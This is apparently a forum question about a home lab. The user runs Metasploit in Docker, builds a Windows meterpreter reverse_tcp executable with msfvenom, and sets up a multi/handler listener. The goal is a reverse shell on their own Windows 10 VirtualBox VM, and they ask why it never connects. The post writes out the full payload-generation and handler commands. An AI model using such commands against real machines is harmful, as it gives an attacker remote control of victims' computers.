Metasploit reverse shell through docker and virtual box

I am running metasploit on docker from: remnux/metasploit and I want to open a reverse shell on a virtual machine running windows 10 in virtual box. The docker container and the vm run on the same host machine with ip: 192.168.10.1

I go:

 sudo docker run --rm  -it -p 8080:8080 -v ~/.msf4:/root/.msf4 -v /tmp/msf:/tmp/data remnux/metasploit

Then:

 msfvenom  -p windows/meterpreter/reverse_tcp --platform windows -a x86
 LHOST=192.168.10.1 LPORT=8080 -f exe -o file.exe

And fire up msfconsole:

msfconsole
msf > use multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LPORT 8080
LPORT => 8080
msf exploit(handler) > set LHOST 192.168.10.1
LHOST => 192.168.10.1
msf exploit(handler) > exploit
[-] Handler failed to bind to 192.168.10.1:8080:-  -
[*] Started reverse TCP handler on 0.0.0.0:8080 
[*] Starting the payload handler...

Finally I open up file.exe on the windows10 machine and nothing happens. I checked that port 8080 was open on the host machine and that the vm could ping the host machine at 192.168.10.1

My virtualbox network configuration is set to bridged adapter.

Moreover I have no antivirus running on this vm and windows defender is down.

Does anyone have any idea to why this is not working? Thank you in advance.
